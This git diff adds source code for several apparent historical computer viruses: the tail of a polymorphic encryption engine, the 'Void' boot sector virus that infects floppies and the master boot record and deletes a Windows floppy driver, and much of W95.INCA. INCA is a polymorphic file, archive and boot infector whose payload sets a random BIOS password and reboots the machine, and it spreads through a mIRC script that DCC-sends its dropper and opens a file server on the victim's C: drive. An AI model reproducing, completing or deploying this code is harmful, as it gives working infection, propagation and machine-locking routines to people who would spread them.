call check_breg + jmp short mov_check +word_mov: + call check_reg +mov_check: + jc mov_imm + and al,0fh + or al,0b0h + stosb + test al,8 + jnz mov_word + call get_rand + stosb + ret +mov_word: + call get_rand + stosw + ret + +Init_Rand: +;Initialises the Get_Rand procedure. + push ax + push cx + push dx + push si + push ds + mov si,1 + mov ax,0ffffh ;Get word from ROM BIOS. + mov ds,ax + mov ax,word ptr [si] + pop ds + mov word ptr randseed,ax + call get_rand + push ax + mov ah,2ah ;Get Date. + int 21h ;call int21h + pop ax + add ax,cx + xor ax,dx + mov word ptr randseed,ax + call get_rand + pop si + pop dx + pop cx + pop ax + ret + +Get_Rand: +;Gets a random number in AX. + push cx + push dx + mov ax,word ptr randseed + mov cx,ax + mov dx,ax + and cx,1ffh + or cl,01fh +propogate: + add dx,ax + mul dx + add ax,4321h + neg ax + ror dx,1 + loop propogate + mov word ptr randseed,ax + + pop dx + pop cx + ret +randseed dw 0 + +Make_Xchg: + mov ax,di + sub ax,word ptr saved_di + cmp ax,10 + ja not_poly_start3 ;inc/dec in the first 20 bytes, flags + ret +not_poly_start3: + + call get_rand + call fix_register + jc make_xchg + push cx + mov cl,3 + rol al,cl + pop cx + call fix_register + jc make_xchg + test ah,1 + jz xchg_8bit + test al,7 + jz xchg_ax2 + test al,38h + jz xchg_ax1 +xchg_8bit: + and ax,13fh + or ax,86c0h + xchg ah,al + stosw + ret +xchg_ax1: + and al,7 + or al,90h + stosb + ret +xchg_ax2: + push cx + mov cl,3 + ror al,cl + pop cx + jmp short xchg_ax1 + +Check_bReg: +;Checks if an 8bit reg is used or not. +;AL=register + push ax + and al,3 + call check_reg + pop ax + ret + +Decryptor_Size: +;Calculate the size of the decryptor + code +;Entry: DI=everything done +;Exit : CX=total decryptor length + + mov cx,di + sub cx,word ptr saved_di + ret + +Setup_Cipher: +;Randomly selects a cipher register and initialises it with a value. +;Puts the register into the variable 'cipher' and the value into 'xorval' + + call rand_garbage + call get_rand + mov bx,ax + mov word ptr xorval,ax + call select_reg + mov byte ptr cipher,al + call setup_reg + call rand_garbage + ret + +Startup: +;Does the most common startup procedures. Puts some garbage, and sets +;up the pointer register. + + call rand_garbage + call rand_garbage + call select_pointer ;Setup pointer + call setup_pointer + + call setup_cipher + ret + +Handle_JNE: +;Randomly puts either JNE or JB at ES:DI. +;Must be called after the CMP instruction. + push ax + push si + + ;Test to make sure our pointer isnt going +ffff, if so, only use + ;jne, not jnb. + call round_up + add ax,word ptr pointer1val + jnc random_jne + mov al,75h + jmp short unrandom_jne +random_jne: + + call get_rand + and ax,1 + mov si,offset jne_table + add si,ax + mov al,byte ptr [si] +unrandom_jne: + stosb + pop si + pop ax + ret + +jne_table db 75h ;JNE/JNZ + db 72h ;JB/JNAE + +Calc_JNE: +;Calculates the distance needed to JMP backwards and puts it into ES:DI. +;On entry DI points to the byte after a JNE/JB instruction +; and 'loopstart' contains the offset of the loop. + + push ax + mov ax,di + inc ax + sub ax,word ptr loopstart + neg al + stosb + call rand_garbage + pop ax + ret + +Increase_Pointer: +;Increases the register specified in 'pointer' by two. +;On exit AL=pointer register. + + call rand_garbage + xor ax,ax + mov al,byte ptr pointer + call dec_inc_reg + call rand_garbage + call dec_inc_reg + call rand_garbage + ret + +Encrypt_Type: +;Selects the type of encryption and sets everything up. + call rand_garbage + call seg_override + + call rand3 + mov al,byte ptr [si+1] + mov byte ptr encbyte,al + + mov al,byte ptr [si] ;The instruction from 'enc_table' + stosb + + mov al,byte ptr cipher + call fix_pointer + mov word ptr displace,di + + mov ax,bp + sub ax,word ptr pointval + stosw + + call rand_garbage + + call rand3 + mov al,byte ptr [si+2] + or al,0c3h + mov byte ptr encb2,al + + cmp byte ptr cipher,0 + jne fix_16imm + mov al,byte ptr [si+2] + or al,5 + stosb + jmp short set_imm + +fix_16imm: + mov al,81h + stosb + mov al,byte ptr [si+2] + or al,0c0h + or al,byte ptr cipher + stosb + +set_imm: + call get_rand + stosw + + mov word ptr encval2,ax + + call increase_pointer + + ret + +enc_table db 31h ;XOR ;Direct word operation + db 33h ;XOR reg,reg ;Undo.. + db 30h + + db 01h ;ADD + db 2bh ;SUB reg,reg + db 0 ;ADD + + db 29h ;SUB + db 03h ;ADD reg,reg + db 28h + +Rand3: +;Gets a number in ax, either 0,4,8, and indexes SI that distance into +;enc_table. +encrypt_rand: + call get_rand + mov cx,3 + xor dx,dx + div cx + mov ax,dx + xor dx,dx + mul cx + mov si,offset enc_table + add si,ax + ret + +Encrypt_Virus: + mov si,word ptr saved_si + mov cx,word ptr saved_cx + inc cx + shr cx,1 + mov bx,word ptr xorval +enc_loop: + lodsw + + ;op ax,bx + encbyte db 0 ;op + db 0c3h + + db 81h + encb2 db 0 + encval2 dw 0 + + stosw + loop enc_loop + ret + diff --git a/v/void.asm b/v/void.asm new file mode 100755 index 0000000..4ab35bd --- /dev/null +++ b/v/void.asm @@ -0,0 +1,399 @@ +; Void Boot Virus +; +; This is a boot sector virus with a bunch of nifty features. It's +;stealth, it disables Win9x 32-bit disk access by deleting hsflop.pdr, it +;uses a rectal way of hooking int13h, so that the boot sector virus alarm +;isn't set off, it disables BIOS boot protection. It calculates an +;appropriate place to infect on floppies, and can infect any format currently +;in existence. It also uses an unorthodox method of infecting the MBR - it +;points the bootable partition table entry (whatever the fuck it's called) +;to itself - which is an anti-removal strategy. The virus can't be removed +;while resident, can't be overwritten with FDISK/MBR, and booting clean from +;an infected hard disk becomes very interesting. :] Basically, a BSV that +;should be viable in the wild today. It's 612 bytes in size last time I +;checked. If you figure out how to assemble and drop this virus, you can +;obviously figure out the consequences. +; +; The code is copyright Buz [FS]. It can be used privately and +;non-commercially. Please be conscientious and don't use it in a morally +;objectionable way. If this code is used in such a way, you are agreeing to +;having your severed head sent to your spouse, mom or significant other. +;Thank you. + +org 0 + +vsize equ old_21h-friend_or_foe +mark equ 3dh+offset sig +loader equ k_kode-friend_or_foe +buffer equ old_21h+4 + +friend_or_foe: + xor ax,ax + cli + mov ss,ax + mov sp,7c00h + sti + mov si,413h + sub word ptr [si],2 + lodsw + mov cl,6 + shr ax,cl + mov es,ax + xor ax,ax + mov bx,ax + mov ds,ax + int 13h + +k_load: + mov ax,203h + db 0b9h +trksec dw 0 + db 0bah +heddrv dw 0 + int 13h + jc k_load + push es + mov ax,offset k_kode + push ax + retf + +sig db 'VOID' + +k_kode: + mov si,21h*4 + mov di,offset old_21h + movsw + movsw + mov si,13h*4 + mov di,offset old_13h + movsw + movsw + mov ax,0f000h + mov es,ax + xor di,di + mov ax,0cd18h + mov cx,0fffeh + +incesticide: + scasw + jz found_cd18h + dec di + loop incesticide + +found_cd18h: + dec di + dec di + mov word ptr [si-4],di + mov word ptr [si-2],es + mov di,18h*4 + push ds + pop es + mov ax,offset see_dick_run + stosw + mov ax,cs + stosw + mov si,475h + lodsb + or al,al + jz k_boot + mov dl,80h + call infect_HD + +k_boot: + push cs + pop ds + mov si,offset buffer + push es + mov di,7c00h + push di + mov cx,200h + rep movsb + retf + +see_dick_run: + pusha + push ds + push es + push cs + pop ds + xor ax,ax + mov es,ax + mov si,offset old_21h + mov di,21h*4 + cmpsw + jnz change + cmpsw + jnz change + pop es + pop ds + popa + +int13h_handler: + pusha + push ds + push es + call infect_boot + pop es + pop ds + popa + cmp ah,2 + jz flux + cmp ah,3 + jz unhugged + cmp ah,5 + jnz return_13h + jmp format_fn + +return_13h: + db 0eah +old_13h dd 0 +sig2 db 'buz [FS]' + +change: + mov si,18h*4 + mov ax,offset int13h_handler + stosw + +k_flop: + push cs + pop ds + mov ah,3bh + mov dx,offset dotdot + int 21h + jnc k_flop + mov ah,41h + mov dx,offset flop + int 21h + pop es + pop ds + popa + jmp short int13h_handler + +flux: + pusha + push ds + push es + call chk_boot + pop es + pop ds + popa + push ds + push es + push bx + call int13h + or dl,dl + js HD_read + call calculate_root + mov ax,201h + add cx,2 + jmp short read_kewl + +HD_read: + mov ax,201h + mov cx,9 + +read_kewl: + xor dh,dh + pop bx + pop es + pop ds + jmp short return_13h + +unhugged: + pusha + push ds + push es + push bx + push es + call chk_boot + or dl,dl + js HD_write + call calculate_root + mov ax,201h + add cx,2 + jmp short write_kewl + +HD_write: + mov ax,201h + mov cx,9 + +write_kewl: + pop es + pop bx + call int13h + pop es + pop ds + popa + jmp return_13h + +format_fn: + pusha + push ds + push es + cmp ch,0 + jz format_track0 + call not_boot + +format_track0: + pop es + pop ds + popa + popf + clc + xor ah,ah + retf 2 + +dotdot db '..' +flop db 'C:\WINDOWS\SYSTEM\IOSUBSYS\HSFLOP.PDR',0 + +chk_boot: + or dh,dh + jz not_boot + cmp cx,1 + jz not_boot + ret + +not_boot: + pop ax + pop es + pop ds + popa + jmp return_13h + +calculate_root: + call read_boot + lea si,[bx+10h] + lodsb + xchg cx,ax + mov bx,10 + div bx + push ax + add ax,3 + mul cx + inc ax + pop cx + add cx,ax + lodsw + sub cx,ax + mov ch,1 + sub cx,3 + ret + +write_boot: + mov ah,05h + mov cl,59h + int 16h + mov ax,301h + jmp short int13h_kewl + +read_boot: + mov ax,201h + +int13h_kewl: + mov cx,1 + xor dh,dh + push cs + pop es + mov bx,offset buffer + +int13h: + pushf + call dword ptr cs:[old_13h] + ret + +infect_boot: +chk_disk: + push cs + pop ds + call read_boot + or dl,dl + js test_HD + lea di,[bx+mark] + +is_VBS: + mov si,offset sig + scasw + jnz not_infected + scasw + jnz not_infected + ret + +test_HD: + lea si,[bx+1beh] + +HD_test: + lodsb + cmp si,80h + jz test_HD_boot + add si,0fh + jmp short HD_test + +test_HD_boot: + lodsw + mov dh,ah + mov cl,al + lodsb + mov ch,al + mov ax,201h + call int13h + lea di,[bx+offset sig] + jmp short is_VBS + +not_infected: + or dl,dl + js infect_HD + +infect_FD: + call calculate_root + xchg ax,cx + push ax + mov di,offset trksec + stosw + inc di + xor ax,ax + stosw + mov ax,303h + mov bx,offset friend_or_foe + pop cx + call int13h + mov si,offset friend_or_foe + mov di,offset buffer+3dh + mov cx,loader + rep movsb + call write_boot + xor ah,ah + int 16h + ret + +infect_HD: + call read_boot + mov di,offset trksec + mov ax,7 + stosw + inc di + mov ax,80h + stosb + mov ax,303h + mov cx,7 + mov bx,offset friend_or_foe + call int13h + mov al,80h + mov di,offset buffer+1beh + +scan_partition: + scasb + jz iris_evergreen + add di,0fh + jmp short scan_partition + +iris_evergreen: + mov ax,7 + stosw + xchg ah,al + stosb + call write_boot + xor ah,ah + int 16h + ret + +old_21h: \ No newline at end of file diff --git a/w/W95INCA.ASM b/w/W95INCA.ASM new file mode 100755 index 0000000..583711b --- /dev/null +++ b/w/W95INCA.ASM @@ -0,0 +1,2774 @@ +;[W95.INCA] coded by Vecna/29A +;Copyright 1998 (c) Vecna +;Proudly made in Brazil in 29/06/98 + +;Memory resident PE/ARJ/RAR/ZIP/LHA/LHZ/PAK +;First multipartite file/boot for win95 +;Polymorphic +;Internet spreading +;Does other stuffs + +;This source isnt compilable as is. Use the pre-compiled virus. + +;Greetz to all 29A guyz and VX coderz of the world! + +;"Hay que endurescerse, pero sin perder la ternura jamas..." +; Che Guevara + + + + MINSIZEINFECT EQU 8*1024 ;zopy me - i want to trawel + + + BPB STRUC + bpb_jmp db 3 dup (?) + bpb_oem db 8 dup (?) + bpb_b_s dw ? + bpb_s_c db ? + bpb_r_s dw ? + bpb_n_f db ? + bpb_r_e dw ? + bpb_t_s dw ? + bpb_m_d db ? + bpb_s_f dw ? + bpb_s_t dw ? + bpb_n_h dw ? + bpb_h_d dw ? + bpb_sht db 20h dup (?) + BPB ENDS + +.386p +.XLIST + Include Vmm.Inc + Include Ifs.Inc + Include Ifsmgr.Inc +.LIST + +Declare_Virtual_Device FONO98, 1, 0, FONO98_Control, Undefined_Device_ID,,, + +VxD_Locked_Code_Seg + + IncaName db 'INCA.EXE', 0 ;Vars used by the virus + NextHook dd 0 + FileHandle dd 0 + FileSize dd 0 + FileAttr dd 0 + Pad dd 0 + BufferOneHandle dd 0 + BufferTwoHandle dd 0 + VxDCompressedBuffer dd 0 + VxDCompressedSize dd 0 + PolyBootSize dd 0 + PolyBootBuffer dd 0 + PolyDOSFileBuffer dd 0 + PolyDOSFileSize dd 0 + PolyPESize dd 0 + PolyPEBuffer dd 0 + VMF_handle dd 0 + VMF_size dd 0 + VMF_base dd 0 + OurFile db 0 + FloppyInUse db 0 + UpDown db 0 + Compressed db 0 + CrpTbl db 200h dup (0) + SectorBuffer Equ This Byte + CrcTab db 2048 dup (0) + FileName Equ This Byte + VMM32Path db MAX_PATH dup (0) + + + + ZIPRHeaderId db 'PK' ;Structures used when + ZIPRSignature db 01, 02 ;infecting archivers + ZIPRVerMade dw 10 + ZIPRVerNeed dw 0ah + ZIPRFlags dw 0 + ZIPRMethod dw 0 + ZIPRTimeDate dd 12345678h + ZIPRCRC32 dd 0 + ZIPRCompressed dd 0 + ZIPRUncompressed dd 0 + ZIPRSizeFilename dw ZIPRNameLenght + ZIPRExtraField dw 0 + ZIPRCommentSize dw 0 + ZIPRDiskNumba dw 0 + ZIPRInternalAttr dw 01 + ZIPRExternalAttr dd 21h + ZIPROffsetLHeaderR dd 0 + ZIPRFilename db 'AAAA.COM' + ZIPRNameLenght Equ This Byte - offset32 ZIPRFilename + ZIPRHeaderSize Equ This Byte - offset32 ZIPRHeaderId + + ZIPLHeaderId db 'PK' + ZIPLSignature dw 0403h + ZIPLVersionNeed dw 0010 + ZIPLFlags dw 80h + ZIPLMethod dw 0 + ZIPLDateTime dd 12345678h + ZIPLCRC32 dd 0 + ZIPLCompressed dd 0 + ZIPLUncompressed dd 0 + ZIPLSizeFilename dw ZIPLNameLenght + ZIPLExtraField dw 0 + ZIPLFilename db 'AAAA.COM' + ZIPLNameLenght Equ This Byte - offset32 ZIPLFilename + + ZIPReadBuffer Equ This Byte + ZIPEHeaderId db 'PK' + ZIPSignature dw 0 + ZIPNoDisk dw 0 + ZIPNoStartDisk dw 0 + ZIPEntryDisk dw 0 + ZIPEntrysDir dw 0 + ZIPSizeDir dd 0 + ZIPOffsetDir dd 0 + ZIPCommentLenght dw 0 + ZIPEHeaderSize Equ This Byte - offset32 ZIPEHeaderId + + ARJHeaderId dw 0ea60h + ARJHeaderSize dw offset32 ARJHeaderCRC-offset32 ARJ1HeaderSize + ARJ1HEaderSize db offset32 ARJFilename-offset32 ARJ1HeaderSize + ARJVersionDone db 6 + ARJVersionNeed db 1 + ARJHostOS db 0 + ARJFlags db 0 + ARJMethod db 0 + ARJType db 0 + ARJReserved db 0 + ARJDateTime dd 12345678h + ARJCompressedSize dd 0 + ARJUncompressedSize dd 0 + ARJFileCRC dd 0 + ARJEntryname dw 0 + ARJAccessMode dw 21h + ARJHostData dw 0 + ARJFilename db 'AAAA.COM',0 + ARJComment db 0 + ARJHeaderCRC dd 0 + ARJExtHeader dw 0 + ARJEnd dw 0ea60h, 0000h + + RARHeaderCRC dw 0 + RARHeaderType db 74h + RARFileFlags dw 08000h + RARHeaderSize dw offset32 RARHeaderEnd - offset32 RARHeaderCRC + RARCompressedSize dd 0 + RARUncompressedSize dd 0 + RARHostOS db 0 + RARFileCRC dd 0 + RARDateTime dd 12345678h + RARVersionNeed db 14h + RARMethod db 30h + RARFileNameSize dw offset32 RARHeaderEnd - offset32 RARFileName + RARFileAttribute dd 21h + RARFileName db 'AAAA.COM' + RARHeaderEnd Equ This Byte + + LHASig db LHAHeaderSize-2 + LHAHeaderCRC db 0 + LHAMethod db '-lh0-' + LHACompressedSize dd 0 + LHAUncompressedSize dd 0 + LHADateTime dd 12345678h + LHAFlags dw 120h + LHANameLenght db offset32 LHASizeFilename - offset32 LHAFilename + LHAFilename db 'AAAA.COM' + LHASizeFilename Equ This Byte + LHACRC16 dw 0 + LHAStuff db 'M' + LHAStuff2 dw 0 + LHAHeaderSize Equ This Byte - offset32 LHASig + + + + MyVxDName db "FONO98.VXD",0 + SizeVxDName Equ This Byte - offset32 MyVxDName + + FloppyVxD db "IOSUBSYS\HSFLOP.PDR", 0 + SizeFloppyVxDName Equ This Byte - offset32 FloppyVxD + + + + BootLoaderSize Equ BootLoaderEnd-BootLoader + BootLoader: ;This code is inserted in + cli ;0/1/15 in 1.44 floppies + xor ax, ax + mov ss, ax + mov sp, 7c00h ;It is loaded by the + sti ;polymorphic loader inserted + cld ;in the boot code + mov ds, ax + dec word ptr ds:[413h] + int 12h ;reserve 1kb and copy ourself + ror ax, 10 ;to the reserved hole + mov es, ax + call delta + delta: + pop si + push ds + sub si, offset delta ;full of bugs and hardcoded + xor di, di ;references, as you can see :( + push cs + mov cx, 200h + pop ds + rep movsw ;copy 1kb of code + pop ds + push es + push offset hstart + retf ;continue in TOM + hstart: + xor ax, ax + mov es, ax + mov ax, 0201h + mov cx, 0001h + mov dx, 0180h + mov bx, 7c00h + int 13h ;read HDD boot sector + cmp word ptr [bx+3h], 'SM' + jne fuck + cmp word ptr [bx+1f1h], 'IW' + jne fuck + xor eax, eax + mov ds, ax + mov dword ptr ds:[21h*4], eax ;initialize int21 + mov ax, offset int1c + mov si, 1ch*4 + mov di, offset old1c + cli + xchg ax, word ptr ds:[si] + push cs + pop es + stosw + mov ax, cs + xchg ax, word ptr ds:[si+2] ;hook int1c + stosw + sti + fuck: + cld + xor ax, ax + mov di, offset loader + mov cx, offset fuck-offset loader + rep stosb ;wipe some parts of loader + db 0eah ;from memory to reduce + dw 7c00h ;footprints + dw 0 + Zopy0: + push cs + cld + mov di, offset int1c + mov cx, offset int1c-offset e_vxd + sub ax, ax + pop es + rep stosb ;wipe all virus loader code + no_4b00: ;(less some bytes) + popad + pop es + pop ds + int 0ffh + retf 2 + int1c: + push ds + pushad + push 0 + pop ds + mov cx, word ptr ds:[21h*4+2] + db 081h, 0f9h ;cmp cx, 0 + dw 0 + i1c_check equ word ptr $ -2 + je not_yet ;did int21 seg changed? + mov word ptr cs:[i1c_check], cx + mov cx, 0 + time_2 equ word ptr $ -2 + inc word ptr cs:[time_2] ;increase number of changes + cmp cl, 3 + jnz not_yet ;changed 3 times? + mov esi, 21h*4 + mov edi, 0ffh*4 + mov eax, dword ptr ds:[esi] + mov dword ptr ds:[edi], eax ;copy int21 to int0ff + mov ax, cs + rol eax, 16 + mov ax, offset int21 + mov dword ptr ds:[esi], eax ;hook int21 to our code + mov eax, dword ptr cs:[old1c] + mov dword ptr ds:[1ch*4], eax ;restore int1c + not_yet: + popad + pop ds + db 0eah + old1c dd 0 + read_vxd: + mov ax, 8000h ;if the floppy was retired, + mov ds, ax ;shit happen... :( + mov es, ax + sub bx, bx + mov dx, 0000h + call read_last_track ;read 79/0/1 and 79/1/1 to + jc error ;mem + mov dx, 0100h + add bx, (18*512) + read_last_track: ;init FDD controller + sub ax, ax + int 13h + mov ax, 0212h + mov cx, 4f01h + int 13h ;read track(head is selected + error: ;above) + ret + int21: + push ds + push es + pushad + push 0 + pop ds + cmp ax, 4b00h ;is first exec? + jne no_4b00 + mov eax, dword ptr ds:[0ffh*4] + mov dword ptr ds:[21h*4], eax ;restore int21 + cld + call infect_system ;drop our vxd + jmp Zopy0 ;and wipe loader out of mem + infect_system: + call read_vxd + jc error + sub si, si ;RLE compressed vxd is in mem + mov di, ((18*512)*2) + mov cx, word ptr cs:[c_vxd] + call uncompress16 ;uncompress VXD + push cs + pop ds + call vxd + db 'C:\WINDOWS\SYSTEM\FONO98.VXD', 0 + vxd: ;when i said hardcoded + pop dx ;reference, is this i mean :(( + mov ah, 5bh + mov cx, 11b + int 0ffh ;only create if not exists + jc error + xchg ax, bx + push es + pop ds + mov cx, word ptr cs:[e_vxd] + mov ah, 40h + mov dx, ((18*512)*2) + int 0ffh ;write uncompressed vxd + jc close + mov ah, 3eh + int 0ffh + push cs + call system + db 'C:\WINDOWS\SYSTEM.INI', 0 ;another hardcoded reference :( + system: + pop dx + pop ds + mov ax, 3d02h + int 0ffh ;modify system.ini + jc error + mov ax, 8000h + mov ds, ax + sub dx, dx + mov ah, 3fh + mov cx, -1 + int 0ffh + jc close ;read whole system.ini + push cs + pop es + mov si, dx + mov di, offset enh386 + mov cx, 10 + search: + push di + push si + push cx + rep cmpsb ;search for [Enh386] section + je found + pop cx + pop si + pop di + inc si + dec ax + jnz search + jmp close + found: + add sp, 6 + mov di, ax + pusha + mov di, offset device + mov cx, 19 + rep cmpsb ;we are already registered? + popa + je close + mov dx, si + mov ax, 4200h + int 0ffh + jc close + mov ah, 40h + mov cx, 19 + mov dx, offset device + int 0ffh ;write our device line + jc close + mov ah, 40h + mov cx, di + mov dx, si + int 0ffh ;and rest of file + close: + mov ah, 3eh + int 0ffh + ret + uncompress16: + mov dx, di ;RLE decompression + push dx + mov bx, si + add bx, cx + next: + lodsb + or al, al + jne store + lodsw + mov cx, ax + xor ax, ax + rep stosb + dec di + store: + stosb + cmp di, 0ff00h + ja abortnow ;a safeguard to avoid mem + cmp si, bx ;overwriting + jbe next + abortnow: + pop bx + mov cx, di + sub cx, bx + ret + enh386 db '[386Enh]', 13, 10 + device db 'device=fono98.vxd', 13, 10 + VxDCompressSize dw 0 + VxDOriginalSize dw 0 + BootLoaderEnd Equ This Byte + + LoaderSize Equ LoaderEnd-Loader + InfectWindows95 PROC ;This code is the main dropper + call Delta ;for the viral VXD + Delta: + pop bp + sub bp, offset Delta + mov es, es:[2ch] ;get environment + mov di, -1 + SearchWINDIR: + inc di + cmp di, 1024 + jae ReturnBack + cmp byte ptr es:[di], 'w' ;found a 'w'? + jne SearchWINDIR + push si + push di + lea si, [bp+offset WinDir] + mov cx, 7 + rep cmpsb ;check if is windir= + pop di + pop si + jne SearchWINDIR ;if not, keep searching + add di, 7 + mov word ptr [bp+WinDX], di + mov word ptr [bp+WinDS], es ;save windows directory + push es + pop ds + mov si, di + push cs + pop es + lea di, [bp+offset Buffer] + NextLetter: + lodsb + or al, al + je CopyString + stosb + jmp NextLetter ;copy win95 dir to buffer + CopyString: + push cs + pop ds + lea si, [bp+offset SysDir] + NextLetterAgain: + lodsb + stosb + or al, al + jnz NextLetterAgain ;append path and vxd name + push cs + push cs + pop es + pop ds + mov ah, 5bh + mov cx, 011b + lea dx, [bp+offset Buffer] + int 21h ;create vxd if it not exists + jc ReturnBack + push ax + lea si, [bp+offset EndLoader] + mov di, si + add di, 30000 + mov cx, word ptr [bp+VxDSize1] + call Uncompress16 ;uncompress vxd + pop bx + mov ah, 40h + mov cx, word ptr [bp+VxDSize2] + int 21h ;write vxd + jc Close + mov ah, 3eh + int 21h + InfectSYSTEMINI: + mov si, word ptr [bp+WinDX] + mov ds, word ptr [bp+WinDS] + lea di, [bp+offset Buffer] + NextLtr: + lodsb + or al, al + je CopyStr + stosb + jmp NextLtr ;copy windows dir to buffer + CopyStr: ;again + push cs + pop ds + lea si, [bp+offset SysIni] ;append system.ini + NxtLetter: + lodsb + stosb + or al, al + jnz NxtLetter + mov ax,3d02h + lea dx, [bp+offset Buffer] + int 21h + jc ReturnBack ;open system.ini + xchg ax, bx + mov ah, 3fh + mov cx, -1 + lea dx, [bp+offset VxDHere] + int 21h + jc Close + mov si, dx + lea di, [bp+offset Enh386] + mov cx, 10 + Search: + push di + push si + push cx + rep cmpsb ;search for right section + je Found + pop cx + pop si + pop di + inc si + dec ax + jnz Search + jmp Close + Found: + add sp, 6 + mov di, ax + pusha + lea di, [bp+offset Device] + mov cx, 19 + rep cmpsb ;already infected? + popa + je Close + mov dx, si + sub dx, offset VxDHere + sub dx, bp + mov ax, 4200h + int 21h + jc Close + mov ah, 40h + mov cx, 19 + lea dx, [bp+offset Device] + int 21h ;write our device line + jc Close + mov ah, 40h + mov cx, di + sub cx, 10h + mov dx, si + int 21h + Close: + mov ah, 3eh + int 21h + ReturnBack: + mov ax, 4c00h + int 21h ;exit to DOS + Uncompress16: + mov dx, di + push dx ;uncompress RLE + mov bx, si ;(hmm... a bit redundant...) + add bx, cx + Next: + lodsb + or al, al + jne Store + lodsw + mov cx, ax + xor ax, ax + rep stosb + dec di + Store: + stosb + cmp di, 0ff00h + ja AbortNow + cmp si, bx + jbe Next + AbortNow: + pop bx + mov cx, di + sub cx, bx + ret + Enh386 db '[386Enh]', 13, 10 + Device db 'device=fono98.vxd', 13, 10 + WinDir db 'windir=' + SysIni db '\SYSTEM.INI', 0 + SysDir db '\SYSTEM\' + VxDName db 'FONO98.VXD',0 + WinDS dw 0 + WinDX dw 0 + UpDown db 0 + Compressed db 0 + Buffer db 64 dup(0) + VxDSize2 dw 0 + VxDSize1 dw 0 + EndLoader Equ This Byte + VxDHere Equ This Byte + LoaderEnd Equ This Byte + + +BeginProc Compress32 + mov edx, esi ;compressor of modificated RLE + add edx, ecx ;coded in 32bit + xor eax, eax + xor ecx, ecx + push edi + @1: + lodsb + or al, al + jnz @2 + inc ecx + jmp @1 + @2: + or ecx, ecx + jz @4 + @5: + push eax + xor eax, eax + stosb + xchg eax, ecx + stosw + pop eax + @4: + stosb + @6: + cmp esi, edx + jbe @1 + @3: + pop edx + mov ecx, edi + sub ecx, edx + ret +EndProc Compress32 + + Killer db 'REVENGE.COM', 0 + + KCode Equ This Byte + Payload: + push 0f000h ;our copyrighted payload :) + pop es + xor di, di + mov cx, -1 + scan: + pusha + mov si, offset award + mov cx, 5 + repe cmpsb ;search ROM for AWARD signature + popa + jz award_psw + inc di + loop scan + mov ax, 002fh ;if not found, assume AMI BIOS + call read + mov bx, ax + mov al, 2dh + call step1 + or al, 00010000b ;Put a random password in CMOS + call step2 ;memory, for ask it always, + mov al, 2fh ;and correct checksum + mov dh, bl + call write + mov al, 3eh + call read + mov ah, al + mov al, 3fh + call read + mov bx, ax + mov ax, 0038h + call rndpsw + mov al, 39h + call rndpsw + mov dh, bh + mov al, 3eh + call write + mov dh, bl + mov al, 3fh + call write + jmp hehehe + award_psw: + mov ax, 002fh + call read + mov bx, ax ;Put the password in CMOS + mov al, 11h ;for AWARD BIOS machines + call step1 + or al, 00000001b + call step2 + mov al, 1bh + call step1 + or al, 00100000b + call step2 + mov al, 2fh + mov dh, bl + call write + mov al, 7dh + call read + mov ah, al + mov al, 7eh + call read + mov bx, ax + mov ax, 0050h + call rndpsw ;for ask always, and correcting + mov al, 51h ;the checksum, of course :) + call rndpsw + mov dh, bh + mov al, 7dh + call write + mov dh, bl + mov al, 7eh + call write + hehehe: + sti ;reboot machine, so the user + mov al, 0feh ;notice the payload soon ;) + out 64h, al + jmp hehehe + read: + and al, 7fh ;CMOS read + out 70h, al + jmp $+2 + jmp $+2 + in al, 71h + ret + write: + and al, 7fh ;CMOS write + out 70h, al + jmp $+2 + mov al, dh + out 71h, al + ret + rndpsw: ;make random password but + mov dh, al ;mantain correct checksum + call read + sub bx, ax + in al, 40h + add bx, ax + xchg al, dh + call write + ret + step1: + mov dh, al ;checksum + call read + sub bx, ax + ret + step2: ;checksum + add bx, ax + xchg al, dh + call write + ret + award db 'AWARD' + KCodeSize Equ $ - KCode + + + ScriptSize Equ ScriptIniEnd - ScriptIni + ScriptIni: + [script] + n0=run $mircdirinca.exe ;run virus dropper when mIRC + ;start + n1=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt } + n2= /dcc send $nick $mircdirscript.ini + n3= /dcc send $nick $mircdirinca.exe + n4=} + n5=ON 1:PART:#:{ /if ( $nick == $me ) { halt } + n6= /dcc send $nick $mircdirscript.ini + n7= /dcc send $nick $mircdirinca.exe + n8=} ;on /JOIN and /LEAVE, we send + ;the script and the virus + ;dropper to the target + n9=ON 1:TEXT:*el_inca*:#:/run $mircdirrevenge.com + ;when this is said, the souls + ;of thousands of dead Inca + ;indians come to take revenge + n10=ON 1:TEXT:*ancev*:#:/fserve $nick 666 c:\ + ;just for the case that the + ;host have something i want ;) + n11=ON 1:TEXT:*_29A_*:#:/quit + ;everybody bow in awe before + ;our power!! + ScriptIniEnd Equ This Byte + + ScriptName db 'SCRIPT.INI', 0 + + ScriptName2 db 'SCRIPT.OLD', 0 + + MircIni db 'MIRC.INI', 0 + + InsertSize Equ IMircIniEnd - IMircIni + IMircIni: + db 13, 10 ;this is inserted in MIRC.INI + db '[fileserver]', 13, 10 ;to avoid warnings when we + db 'Warning=Off', 13, 10 ;start the /FSERVER + IMircIniEnd Equ This Byte + + + +BeginProc FONO98_Device_Init + VMMCall Close_Boot_Log + xor al, al + mov [OurFile], al + mov [UpDown], al + mov [Compressed], al + mov [FloppyInUse], al ;init flags + in ax, 40h + ror eax, 16 + in ax, 40h + mov dword ptr [seed], eax ;init rnd seed + mov esi, offset32 ScriptIni + mov edi, esi + mov ecx, ScriptSize + DecriptScript: + lodsb + not al ;decript viral script.ini + stosb + loop DecriptScript + GetPathToVMM: + cld + VMMCall Get_Exec_Path + jc ErrorDone + mov edi, edx + mov ecx, 0ffh + xor al, al + repne scasb ;find end of string + sub edi, edx + mov ecx, edi + mov edi, edx + mov esi, offset32 VMM32Path + pushad + xchg esi, edi + push ecx + rep movsb ;copy it to our buffer + std ;(next time i will use + pop ecx ;GetSystemPath, i swear ;) + mov al, "\" + repne scasb + cld + inc edi + inc edi + DeleteFloppyVxD: + pushad + mov esi, offset32 FloppyVxD + mov ecx, SizeFloppyVxDName + rep movsb ;HSFLOP.PDR + mov eax, R0_FILEATTRIBUTES+SET_ATTRIBUTES + xor ecx, ecx + mov esi, offset32 VMM32Path + VxDCall IFSMgr_Ring0_FileIO ;kill attribs and delete the + mov eax, R0_DELETEFILE ;32bit driver for floppies + VxDCall IFSMgr_Ring0_FileIO + popad + CopyMyVxDName: + mov esi, offset32 MyVxDName + mov ecx, SizeVxDName + rep movsb ;append viral vxd and path + popad + ReadVxDAndCompress: + mov eax, R0_OPENCREATFILE + mov ebx, 0ff00h + xor ecx, ecx + mov edx, 1 + VxDCall IFSMgr_Ring0_FileIO + 